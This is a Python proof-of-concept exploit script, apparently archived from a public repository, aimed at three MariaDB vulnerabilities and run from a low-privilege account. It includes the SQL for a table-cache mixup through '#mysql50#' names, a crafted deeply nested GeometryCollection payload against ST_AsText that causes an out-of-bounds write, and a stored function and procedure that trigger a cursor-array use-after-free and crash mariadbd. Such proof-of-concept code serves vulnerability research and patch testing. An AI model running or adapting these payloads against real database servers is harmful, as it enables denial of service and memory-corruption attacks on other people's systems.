#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/SeanDishman/mariadb-cve-2026-92262 (see README for attribution/license)
"""Low-priv MariaDB client for CVE-2026-92262 / 85746 / 85748.

Connects over the normal MySQL protocol. Default account is the
docker-compose app user (ALL on appdb, no FILE/SUPER).
"""
from __future__ import annotations

import argparse
import sys
import time

import pymysql
from pymysql.err import Error, OperationalError, ProgrammingError


def connect(args, retries=1):
    last = None
    for i in range(retries):
        try:
            return pymysql.connect(
                host=args.host,
                port=args.port,
                user=args.user,
                password=args.password,
                database=args.database,
                autocommit=True,
                connect_timeout=10,
                read_timeout=20,
                write_timeout=20,
            )
        except OperationalError as e:
            last = e
            time.sleep(1)
    raise last


def fetchall(cur):
    try:
        rows = cur.fetchall()
    except Exception:
        return []
    cols = [d[0] for d in (cur.description or [])]
    return cols, rows


def print_rows(title, cols, rows):
    print(f"[{title}]")
    if not cols:
        print("  (no result)")
        return
    print("  " + " | ".join(cols))
    for r in rows:
        print("  " + " | ".join("" if x is None else str(x) for x in r))


def run_92262(conn):
    print("=== CVE-2026-92262  #mysql50# cache mixup + encoding bypass ===")
    cur = conn.cursor()
    for stmt in (
        "DROP TABLE IF EXISTS t",
        "CREATE TABLE t (id INT, c1 BINARY(10)) ENGINE=MEMORY",
        "INSERT INTO t VALUES (1, REPEAT(0x41, 10))",
    ):
        cur.execute(stmt)
    cur.execute("SELECT 'BEFORE' AS phase, id, HEX(c1) AS hex_c1 FROM t")
    print_rows("t before", *fetchall(cur))

    try:
        cur.execute("DROP TABLE IF EXISTS `#mysql50#t`")
    except Error as e:
        print(f"  drop #mysql50#t: {e}")
    cur.execute("CREATE TABLE `#mysql50#t` (id INT, c1 BINARY(1)) ENGINE=MEMORY")
    cur.execute("INSERT INTO `#mysql50#t` VALUES (2, 0x42)")
    cur.execute("SELECT 'MYSQL50' AS phase, id, HEX(c1) AS hex_c1 FROM `#mysql50#t`")
    print_rows("#mysql50#t", *fetchall(cur))
    cur.execute("SELECT 'AFTER_T' AS phase, id, HEX(c1) AS hex_c1 FROM t ORDER BY id")
    cols, rows = fetchall(cur)
    print_rows("t after (bug if id=2 is present)", cols, rows)

    ids = [r[1] for r in rows] if rows else []
    if 2 in ids:
        print("PROOF 92262: INSERT into #mysql50#t is visible via SELECT on t")
    else:
        print("FAIL 92262: no mixed rows")

    try:
        cur.execute("DROP TABLE IF EXISTS `#mysql50#a-b`")
    except Error:
        pass
    cur.execute("CREATE TABLE `#mysql50#a-b` (id INT) ENGINE=MyISAM")
    cur.execute("INSERT INTO `#mysql50#a-b` VALUES (1337)")
    cur.execute("SELECT * FROM `#mysql50#a-b`")
    print_rows("#mysql50#a-b", *fetchall(cur))
    print("PROOF 92262 file: datadir should contain a-b.frm, not a@002db.frm")
    cur.close()


def run_85746(conn):
    print("=== CVE-2026-85746  ST_AsText nested GeometryCollection OOB write ===")
    cur = conn.cursor()
    cur.execute("SELECT ST_AsText(ST_GeomFromText('POINT(1 2)')) AS control")
    print_rows("control", *fetchall(cur))
    payload = (
        "SELECT ST_AsText(CONCAT("
        "UNHEX('00000000'),"
        "REPEAT(UNHEX('010700000001000000'), 200),"
        "UNHEX('010100000000000000000000000000000000000000')"
        ")) AS oops"
    )
    print("firing depth=200 GeometryCollection WKB...")
    try:
        cur.execute(payload)
        print_rows("oops (should not return on a vulnerable build)", *fetchall(cur))
        print("FAIL 85746: server returned instead of crashing")
    except (OperationalError, Error) as e:
        print(f"PROOF 85746: connection died during ST_AsText: {e}")
    finally:
        cur.close()


FUNC = """
CREATE FUNCTION trigger_realloc() RETURNS INT
BEGIN
  DECLARE c1 SYS_REFCURSOR; DECLARE c2 SYS_REFCURSOR; DECLARE c3 SYS_REFCURSOR;
  DECLARE c4 SYS_REFCURSOR; DECLARE c5 SYS_REFCURSOR; DECLARE c6 SYS_REFCURSOR;
  DECLARE c7 SYS_REFCURSOR; DECLARE c8 SYS_REFCURSOR; DECLARE c9 SYS_REFCURSOR;
  DECLARE c10 SYS_REFCURSOR; DECLARE c11 SYS_REFCURSOR; DECLARE c12 SYS_REFCURSOR;
  DECLARE c13 SYS_REFCURSOR; DECLARE c14 SYS_REFCURSOR; DECLARE c15 SYS_REFCURSOR;
  DECLARE c16 SYS_REFCURSOR; DECLARE c17 SYS_REFCURSOR;
  OPEN c1 FOR SELECT 1; OPEN c2 FOR SELECT 1; OPEN c3 FOR SELECT 1;
  OPEN c4 FOR SELECT 1; OPEN c5 FOR SELECT 1; OPEN c6 FOR SELECT 1;
  OPEN c7 FOR SELECT 1; OPEN c8 FOR SELECT 1; OPEN c9 FOR SELECT 1;
  OPEN c10 FOR SELECT 1; OPEN c11 FOR SELECT 1; OPEN c12 FOR SELECT 1;
  OPEN c13 FOR SELECT 1; OPEN c14 FOR SELECT 1; OPEN c15 FOR SELECT 1;
  OPEN c16 FOR SELECT 1; OPEN c17 FOR SELECT 1;
  RETURN 1;
END
"""

PROC = """
CREATE PROCEDURE trigger_uaf()
BEGIN
  DECLARE c SYS_REFCURSOR;
  OPEN c FOR SELECT trigger_realloc();
END
"""


def run_85748(conn):
    print("=== CVE-2026-85748  SYS_REFCURSOR cursor-array UAF ===")
    cur = conn.cursor()
    for stmt in (
        "DROP PROCEDURE IF EXISTS trigger_uaf",
        "DROP FUNCTION IF EXISTS trigger_realloc",
    ):
        try:
            cur.execute(stmt)
        except ProgrammingError as e:
            print(f"  {stmt}: {e}")
    cur.execute(FUNC)
    cur.execute(PROC)
    cur.execute("SET SESSION max_open_cursors = 100")
    print("CALL trigger_uaf()  (17 SYS_REFCURSORs realloc the 16-slot array)")
    try:
        cur.execute("CALL trigger_uaf()")
        print_rows("call", *fetchall(cur))
        print("FAIL 85748: server returned instead of crashing")
    except (OperationalError, Error) as e:
        print(f"PROOF 85748: connection died during CALL trigger_uaf(): {e}")
    finally:
        cur.close()


def main():
    p = argparse.ArgumentParser(description="MariaDB 13.0.1 low-priv CVE client")
    p.add_argument("--host", default="localhost")
    p.add_argument("--port", type=int, default=3306)
    p.add_argument("--user", default="lowpriv")
    p.add_argument("--password", default="lowpriv")
    p.add_argument("--database", default="appdb")
    p.add_argument(
        "--cve",
        choices=["92262", "85746", "85748", "all"],
        default="all",
        help="85746 and 85748 each kill mariadbd; run them separately after restart",
    )
    args = p.parse_args()

    which = ["92262", "85746", "85748"] if args.cve == "all" else [args.cve]
    conn = connect(args)
    try:
        cur = conn.cursor()
        cur.execute("SELECT VERSION(), CURRENT_USER()")
        print_rows("session", *fetchall(cur))
        cur.close()
        if "92262" in which:
            run_92262(conn)
        if "85746" in which:
            run_85746(conn)
        if "85748" in which:
            if "85746" in which:
                print("restart mariadbd before 85748, then: python exploit.py --cve 85748")
                return
            run_85748(conn)
    finally:
        try:
            conn.close()
        except Exception:
            pass


if __name__ == "__main__":
    sys.exit(main() or 0)
